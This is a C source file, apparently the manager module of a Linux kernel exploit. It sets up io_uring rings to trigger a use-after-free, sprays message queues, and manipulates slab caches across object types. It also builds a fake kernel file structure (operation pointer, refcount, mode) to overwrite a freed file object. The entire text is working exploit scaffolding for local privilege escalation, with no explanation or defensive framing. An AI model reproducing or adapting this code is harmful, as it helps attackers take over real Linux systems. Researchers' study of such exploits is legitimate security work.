#include "manager.h" #include /* * * Internal functions * * */ static inline void cls() { printf("\e[1;1H\e[2J"); } static inline err_t init_thread_sync(struct manager *mgr) { pthread_cond_init(&mgr->uaf_cond, NULL); pthread_mutex_init(&mgr->uaf_mutex, NULL); mgr->threads_go = 0; if(mgr->sleep_before_tee > 13000) mgr->sleep_before_tee = 10000; else mgr->sleep_before_tee += 40; return SUCC; } static inline err_t deinit_thread_sync(struct manager *mgr) { pthread_cond_destroy(&mgr->uaf_cond); pthread_mutex_destroy(&mgr->uaf_mutex); mgr->threads_go = 0; return SUCC; } static inline err_t init_msg_queue(struct manager *mgr) { IF_ERR_RET(pre_spray_msg(mgr->msq_ids, TOTAL_MSGS)) return SUCC; } static inline void set_file_spray_data(struct manager* mgr) { /* Construct a fuzzy file object */ #define F_OP_OFF (88) #define REF_OFF (128) #define F_MODE_OFF (140) #define MSGSEG_OFF (4000) memset((char *)mgr->spray, 0, MSG_SIZE); char *file_contents = (char *) mgr->spray + MSGSEG_OFF; uint8_t *f_op = file_contents + F_OP_OFF; uint8_t *refcount = file_contents + REF_OFF; uint8_t *f_mode = file_contents + F_MODE_OFF; *(uint64_t *) f_op = NULL_MEM; *(uint64_t *) refcount = 1; *(uint64_t *) f_mode = 0x4000; } static inline void set_err_state(struct manager* mgr) { /* ERR == -1 signifies that a field is in an uninitialised state. * It's particularly useful for handling looped close/open. * Since we can break out of the loop when we see ERR. */ memset(mgr->msq_ids, ERR, sizeof(mgr->msq_ids)); memset(mgr->pipes_in, ERR, sizeof(mgr->pipes_in)); memset(mgr->pipes_out, ERR, sizeof(mgr->pipes_in)); } static int32_t open_file() { #define TEMP_PATH ("/tmp/fileXXXXXX") char template[] = TEMP_PATH; int fd = mkstemp(template); IF_ERR(fd) { perror("open_file:mkstemp"); return ERR; } unlink(template); return fd; } static void remove_file(int32_t fd) { close(fd); } static void deinit_manager(struct manager *mgr) { deinit_thread_sync(mgr); io_uring_queue_exit(&mgr->tee_ring); io_uring_queue_exit(&mgr->uaf_ring); deinit_cross_cache(mgr->cc); } err_t init_manager(struct manager *mgr, uint8_t new) { /* If this the first iteration of the race loop * then we'll want to create the msg queues. * Otherwise, avoid wasting space. */ if (new) { /* Initialise all data in mgr to ERR. */ set_err_state(mgr); /* Set the initial sleep. */ mgr->sleep_before_tee = 10600; /* Setup the msg queue, only once per startup. */ IF_ERR(init_msg_queue(mgr)) { goto err_msg_queue; } } /* Set the data which we will overwrite a file. */ set_file_spray_data(mgr); /* Init the two rings which we trigger the UAF on. */ IF_ERR(init_ring(&mgr->uaf_ring)) goto err_uaf_ring; IF_ERR(init_ring(&mgr->tee_ring)) goto err_tee_ring; /* Init the cond. variable and mutex for the threads. */ IF_ERR(init_thread_sync(mgr)) goto err_thread; /* Init the cross cache management structure and store. */ mgr->cc = init_cross_cache(open_file, remove_file, OBJS_PER_SLAB, CPU_PARTIAL, OBJS_PER_PAGE); IF_ERR_PTR(mgr->cc) goto err_cc; return SUCC; err_cc: err_thread: io_uring_queue_exit(&mgr->tee_ring); err_tee_ring: io_uring_queue_exit(&mgr->uaf_ring); err_uaf_ring: err_msg_queue: return ERR; } /* * * API functions * * */ err_t open_pipes(struct manager *mgr, int in) { for (int i = 0; i < N_PIPES; i++) { int p_fd[2] = {0}; IF_ERR(pipe(p_fd)) { perror("open_pipes:pipe"); return ERR; } if (in) { mgr->pipes_in[i][RD] = p_fd[RD]; mgr->pipes_in[i][WR] = p_fd[WR]; } else { mgr->pipes_out[i][RD] = p_fd[RD]; mgr->pipes_out[i][WR] = p_fd[WR]; } } return SUCC; } err_t start_threads(struct manager *mgr, pthread_t *ths, void *fptr, uint32_t num) { for (int i = 0; i < num; i++) { if (pthread_create(&ths[i], NULL, fptr, mgr)) return ERR; } return SUCC; } err_t wait_threads(pthread_t *ths, uint32_t num) { for (int i = 0; i < num; i++) { pthread_join(ths[i], NULL); } return SUCC; } err_t wait_condition(pthread_mutex_t *mutex, pthread_cond_t *cond, bool *boolean) { pthread_mutex_lock(mutex); while (*boolean == 0) { pthread_cond_wait(cond, mutex); } pthread_mutex_unlock(mutex); return SUCC; } err_t set_condition(pthread_mutex_t *mutex, pthread_cond_t *cond, bool *boolean) { pthread_mutex_lock(mutex); *boolean = 1; pthread_cond_broadcast(cond); pthread_mutex_unlock(mutex); return SUCC; } struct manager* new_session() { struct manager *mgr = calloc(1, sizeof(struct manager)); IF_ERR_PTR(mgr) { perror("new_session:calloc"); return ERR_PTR; } #define REFRESH (0) #define NEW (1) IF_ERR(init_manager(mgr, NEW)) goto err_mgr; IF_ERR(new_tls_session()) goto err_mgr; return mgr; err_mgr: deinit_manager(mgr); free(mgr); return ERR_PTR; } err_t refresh_session(struct manager *mgr) { //printf("\e[1;1H\e[2J"); deinit_manager(mgr); IF_ERR_RET(init_manager(mgr, REFRESH)) close_range(2, ~0, 0); return SUCC; } void end_session(struct manager *mgr) { end_tls_session(); deinit_manager(mgr); free(mgr); }